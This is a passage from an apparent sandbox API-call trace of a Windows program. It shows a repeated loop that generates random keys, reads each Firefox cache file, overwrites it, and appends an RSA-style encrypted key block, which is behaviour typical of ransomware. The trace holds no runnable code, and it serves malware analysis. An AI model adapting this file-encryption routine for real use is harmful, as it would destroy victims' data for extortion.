lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x66d, lpOverlapped=0x0) returned 1 [0183.662] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x66d [0183.662] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.662] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ecd80*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ecd80*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.663] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ecd80*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ecd80*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.663] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.663] CloseHandle (hObject=0x1b80) returned 1 [0183.665] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ec960 | out: pbBuffer=0x30ec960) returned 1 [0183.665] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0183.665] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\DD7955ED55E47999EA8C7EA435E8A9998516745D", dwFileAttributes=0x80) returned 1 [0183.665] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ecb70 [0183.665] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.665] ReadFile (in: hFile=0x1b80, lpBuffer=0x2f66ef0, nNumberOfBytesToRead=0xba, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f66ef0*, lpNumberOfBytesRead=0x2e1f9bc*=0xba, lpOverlapped=0x0) returned 1 [0183.666] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-186, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.666] WriteFile (in: hFile=0x1b80, lpBuffer=0x2f67850*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f67850*, lpNumberOfBytesWritten=0x2e1f9bc*=0xba, lpOverlapped=0x0) returned 1 [0183.666] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xba [0183.666] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.666] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ec960*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ec960*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.667] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ec960*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ec960*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.667] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.667] CloseHandle (hObject=0x1b80) returned 1 [0183.668] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eb8e0 | out: pbBuffer=0x30eb8e0) returned 1 [0183.668] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.668] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\DCE49316C46D033A447D63AB001FB1468825204A", dwFileAttributes=0x80) returned 1 [0183.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30eb6d0 [0183.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.669] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x111e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x111e, lpOverlapped=0x0) returned 1 [0183.713] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4382, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.713] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f09a8*, nNumberOfBytesToWrite=0x111e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f09a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x111e, lpOverlapped=0x0) returned 1 [0183.713] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x111e [0183.713] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.713] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30eb8e0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30eb8e0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.714] WriteFile (in: hFile=0x1b80, lpBuffer=0x30eb8e0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30eb8e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.714] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.714] CloseHandle (hObject=0x1b80) returned 1 [0183.718] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eb4c0 | out: pbBuffer=0x30eb4c0) returned 1 [0183.718] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.718] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\DB35F7B5C3B638134575506C1DECC7214B0152E3", dwFileAttributes=0x80) returned 1 [0183.719] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ec120 [0183.719] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.719] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x7a8f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x7a8f, lpOverlapped=0x0) returned 1 [0183.729] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-31375, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.729] WriteFile (in: hFile=0x1b80, lpBuffer=0x2ef2ab0*, nNumberOfBytesToWrite=0x7a8f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2ab0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x7a8f, lpOverlapped=0x0) returned 1 [0183.729] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x7a8f [0183.730] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.730] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30eb4c0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30eb4c0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.730] WriteFile (in: hFile=0x1b80, lpBuffer=0x30eb4c0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30eb4c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.730] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.730] CloseHandle (hObject=0x1b80) returned 1 [0183.732] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ec858 | out: pbBuffer=0x30ec858) returned 1 [0183.732] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0183.732] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\DB11BB04DBABBEED1877D68FDFB7B20A20F3D7A1", dwFileAttributes=0x80) returned 1 [0183.732] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ec120 [0183.733] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.733] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x2f02, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x2f02, lpOverlapped=0x0) returned 1 [0183.741] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-12034, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.741] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f2790*, nNumberOfBytesToWrite=0x2f02, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f2790*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2f02, lpOverlapped=0x0) returned 1 [0183.742] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2f02 [0183.742] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.742] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ec858*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ec858*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.742] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ec858*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ec858*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.743] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.743] CloseHandle (hObject=0x1b80) returned 1 [0183.744] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ece88 | out: pbBuffer=0x30ece88) returned 1 [0183.744] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0183.744] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\DABF64132C78C7E094CF5DF1C0F78723EF35A3CA", dwFileAttributes=0x80) returned 1 [0183.744] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ec330 [0183.745] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.745] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x11ad, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x11ad, lpOverlapped=0x0) returned 1 [0183.752] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4525, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.752] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0a38*, nNumberOfBytesToWrite=0x11ad, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0a38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11ad, lpOverlapped=0x0) returned 1 [0183.752] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11ad [0183.752] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.752] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ece88*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ece88*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.753] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ece88*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ece88*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.753] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.753] CloseHandle (hObject=0x1b80) returned 1 [0183.755] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ec648 | out: pbBuffer=0x30ec648) returned 1 [0183.755] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.755] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\DA98DECFAD809A0362D9C5A3D476E0F86E4875AC", dwFileAttributes=0x80) returned 1 [0183.756] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ec120 [0183.756] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.756] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xd34, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xd34, lpOverlapped=0x0) returned 1 [0183.760] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3380, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.760] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f05c0*, nNumberOfBytesToWrite=0xd34, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f05c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd34, lpOverlapped=0x0) returned 1 [0183.760] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd34 [0183.760] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.760] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ec648*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ec648*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.760] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ec648*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ec648*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.761] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.761] CloseHandle (hObject=0x1b80) returned 1 [0183.763] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ecb70 | out: pbBuffer=0x30ecb70) returned 1 [0183.763] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.763] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\DA151280C1258974FEA9470B57A6AB4D3F732F41", dwFileAttributes=0x80) returned 1 [0183.763] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30eb4c0 [0183.763] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.763] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x5009, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x5009, lpOverlapped=0x0) returned 1 [0183.773] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-20489, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.773] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x5009, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5009, lpOverlapped=0x0) returned 1 [0183.774] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5009 [0183.774] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.774] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ecb70*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ecb70*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.774] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ecb70*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ecb70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.775] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.775] CloseHandle (hObject=0x1b80) returned 1 [0183.776] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ec648 | out: pbBuffer=0x30ec648) returned 1 [0183.776] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.776] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D9E1EAA7CD02E35801B1ACFD38FF49D66C5909D9", dwFileAttributes=0x80) returned 1 [0183.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30eb1a8 [0183.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.777] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4d2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d2, lpOverlapped=0x0) returned 1 [0183.778] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1234, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.778] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ef880*, nNumberOfBytesToWrite=0x4d2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d2, lpOverlapped=0x0) returned 1 [0183.779] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d2 [0183.779] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.779] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ec648*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ec648*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.779] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ec648*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ec648*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.780] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.780] CloseHandle (hObject=0x1b80) returned 1 [0183.792] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eb2b0 | out: pbBuffer=0x30eb2b0) returned 1 [0183.792] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.792] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D9CE93D1A1373E2AF40879FC019268ABEF8195B4", dwFileAttributes=0x80) returned 1 [0183.793] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ebe08 [0183.793] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.793] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x528, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0183.952] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.952] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ef880*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0183.953] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x528 [0183.953] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.953] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30eb2b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30eb2b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.953] WriteFile (in: hFile=0x1b80, lpBuffer=0x30eb2b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30eb2b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.954] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.954] CloseHandle (hObject=0x1b80) returned 1 [0183.956] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ec858 | out: pbBuffer=0x30ec858) returned 1 [0183.956] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0183.956] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D7617EA1911F028DDF6CB8D5A8C999744E2D2587", dwFileAttributes=0x80) returned 1 [0183.956] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ec648 [0183.956] RtlAllocateHeap (HeapHandle=0x520000, 